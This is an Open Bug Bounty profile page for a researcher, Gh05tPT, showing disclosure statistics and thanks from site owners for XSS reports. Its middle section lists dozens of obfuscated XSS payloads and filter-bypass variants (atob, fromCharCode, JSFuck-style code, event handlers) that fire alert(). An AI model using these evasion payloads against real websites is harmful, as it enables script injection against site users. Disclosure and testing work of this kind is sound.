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493,211 coordinated disclosures
268,951 fixed vulnerabilities
666 bug bounties with 1,344 websites
13,691 researchers, 1037 honor badges

Gh05tPT Top Security Researcher of the Month Top VIP Security Researcher of the Month | Security Researcher Profile

Security researcher Gh05tPT has already helped fix 6220 vulnerabilities.

Researcher reputation:  690

Real name:
#Gh05tPT #inurlBR #aCCESS

About me:

How to contact me:
[email protected]

Alternative Contacts:

Experience in Application Security
over 5 years

Award / Bug Bounty I prefer:
A thanks/profile recommendation will be really appreciated, but if you'd like:
# Bug Bounty ($$$)
# Hall Of Fame
# T-shirts, Sweats, Caps, Stickers, Keychains, etc

Halls of Fame:

Follow me on:

Recommendations and Acknowledgements

    15 January, 2020
     install28398408 evg from kuli:
thanks for Notification!
    4 December, 2019
     lbl_jd Jeff Anderson from LBNL:
Gh05tPT found a XSS vulnerability on our site which I was able to fix quite quickly. Thanks for your help.
    25 November, 2019
     Derek_Ortiz Derek from Revize:
Thanks for the XSS report. We should be able to get the issue fixed next patch.
    13 November, 2019
     ContatoFAME Alexandre from DNOCS:
Thanks for the details about the failure found on one of our sites.
    12 November, 2019
     arthurebel Arthur from University Of Technology of Troyes:
Thank you for your help, for the detail of XSS vulnerabilty. Much appreciate.
    12 November, 2019
     koichiendor koichiendor from ADMINA:
Thanks for reporting XSS issue on my site. Clear report, helpful support. :)
    29 October, 2019
     dialbuquerque Diego Albuquerque from CNMP:
O Gh05tPT reportou uma vulnerabilidade em um sistema do órgão em que trabalho e nos ajudou a solucioná-la logo no primeiro contato. Muito obrigado.
    16 October, 2019
     TravisSwaim T. Swaim from Earth System Science Interdisciplinary Center - UMD:
Was very easy to contact Gh05tPT and get the information needed to help fix the vulnerability found on our website. Wonderful security researcher to deal with and I'm glad that people like this exist to help make the internet a more secure and safe place.
    20 September, 2019
     ChipZ_de Andreas from MEHRKANAL:
Gh05tPT has found an XSS vulnerability on one of our pages.

He is very helpful and responded very quickly. I really appreciate it. Thank you very much.
    21 August, 2019
     aaccomazzi Alberto Accomazzi from Center for Astrophysics:
One more XSS bug discovered and patched thanks to Gh05tPT. Much appreciated!

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Honor Badges

Number of Secured Websites

10+ Websites
50+ Websites
500+ Websites
1000+ Websites

Advanced Security Research

WAF Bypasser
CSRF Master
30+ Reports
AppSec Logic Master
30+ Reports
Fastest Fix
Fix in 24 hours

Outstanding Achievements

Secured OBB
OBB Advocate
Improved OBB

Commitment to Remediate and Patch

Patch Master
55% Patched
Patch Guru
65% Patched
Patch Lord
75% Patched

Recommendations and Recognition

10+ Recommends
25+ Recommends
50+ Recommends

Distinguished Blog Author

1 Post
3 Posts
5+ Posts

Research Statistics

Total reports:20220
Total reports on VIP sites:454
Total patched vulnerabilities:6220
Total vulnerabilities on Hold (Open Bug Bounty):2343
Recommendations received:45
Active since:05.04.2018
Top Security Researcher Awards: Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month Top Security Researcher of the Month
Top VIP Security Researcher Awards: Top VIP Security Researcher of the Month Top VIP Security Researcher of the Week

Open Bug Bounty Certificate

04.04.2019  XSS alert() variants

<script>var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[atob('ZXZhbA==')];fn(atob('YWxlcnQoMSk=')); </script>
<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script> <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
<script>'str1ng'.replace(/1/,alert)</script> <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script> <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
<script>eval('\\u'+'0061'+'lert(1)')</script> <script>throw~delete~typeof~prompt(1)</script> <script>delete[a=alert]/prompt a(1)</script> <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script> <script>(()=>{return this})().alert(1)</script>
<script>new function(){'alert(1)')();}</script> <script>Reflect.construct(function(){'alert(1)')()},[])</script>
<link/rel=prefetch import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<link rel="import" href="data:x,<script>alert(1)</script> <script>Array.from`1${alert}3${window}2`</script>
<script>!{x(){alert(1)}}.x()</script> <script>Array.from`${eval}alert\`1\``</script> <script>Array.from([1],alert)</script> <script>Promise.reject("1").then(null,alert)</script>
<svg </onload ="1> (_=alert,_(1)) "">
<marquee loop=1 width=0 onfinish=alert(1)>
<p onbeforescriptexecute="alert(1)"><svg><script>\</p>
<img onerror=alert(1) src <u></u> <videogt;<source onerror=javascript:prompt(911)gt;
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
<script>```${``[class extends[alert``]{}]}```</script> <script>[class extends[alert````]{}]</script>
<script>throw new class extends Function{}('alert(1)')``</script> <script>x=new class extends Function{}('alert(1)'); x=new x;</script> <script>new class extends alert(1){}</script>
<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script> <script src=data:,\u006fnerror=\u0061lert(1)></script>
"><svg><script/xlink:href="data:,alert(1) <svg><script/xlink:href=data:,alert(1)></script> <frameset/onpageshow=alert(1)>
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<div onfocus=alert('xx') id=xss style=display:table>

Reported Vulnerabilities

All Submissions VIP SubmissionsFeatured Submissions

Domain Reported Status Type
On Hold
Cross Site Scripting

  Latest Patched


  Latest Blog Posts

20.01.2020 by Rando02355205
XSS on "" (Alibaba WAF 405) Bypassed.
16.01.2020 by Open Bug Bounty
Brief Recap of Open Bug Bounty’s Record Growth in 2019
12.01.2020 by JCQ_47
WAF Cloudflare Bypass XSS at
08.01.2020 by devl00p
Top 100 Open Redirect dorks
08.01.2020 by Rando02355205
XSS WAF Bypassed

  Recent Recommendations

    23 January, 2020
MAS00712 found xss vulnerability on our website. We have fixed the issue. Thank you for your report!
    23 January, 2020
Thank you for reporting the XSS issue you found. Based on your information we were able to fix the problem. Thank you!
    23 January, 2020
Vighnesh Gupta alerted us in a professional and prompt manner to a security flaw in one of our public-facing websites, and acted with responsibility and ethics in reporting it and providing detail to us to help remediate. We strongly recommend him as an ethical security researcher.
    23 January, 2020
Dear fakessh, thank you for responsible disclosure of a XSS vulnerability on a site.

Best regards,
    22 January, 2020
Thanks for the bug report!